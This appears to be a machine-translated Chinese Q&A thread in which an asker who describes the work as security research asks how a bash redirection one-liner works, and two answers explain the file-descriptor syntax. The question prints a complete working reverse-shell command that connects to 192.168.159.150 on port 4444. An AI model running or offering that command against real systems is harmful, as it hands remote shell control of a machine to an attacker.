這個命令重定向是如何工作的?

這個命令重定向是如何工作的?

我正在做一些安全研究,我想知道以下程式碼片段如何在基於 Unix 的作業系統上運作:

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

我完全清楚什麼這段程式碼確實(即透過連接埠 4444 建立到 192.168.159.150 的反向 shell),但我不明白這些部分在做什麼:

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

總的來說,這個東西是如何組合在一起產生我所看到的外殼的。

誰能幫助解釋這一點或指出我理解這一點的正確方向?

謝謝

答案1

快速概述:

exec 5<>正在開啟一個新的檔案句柄以進行讀寫,然後命名它5

cat <&5正在從新開啟的檔案句柄中讀取

2>&5 >&52將檔案句柄(stderr) 和檔案句柄(stdout)的輸出重新導向1到檔案句柄5。在這種情況下是1隱含的,因為第二次重定向時未提供檔案句柄號。

答案2

您的問題的部分內容已得到解答這裡

  1. 這定義了編號為 5 的新檔案描述符。
  2. 回顯訊息,透過 TCP 接收,IP 192.168.159.150,連接埠 4444
  3. 將 STDERR 和 STDOUT 傳送到 filehandler 5 ie 網絡

相關內容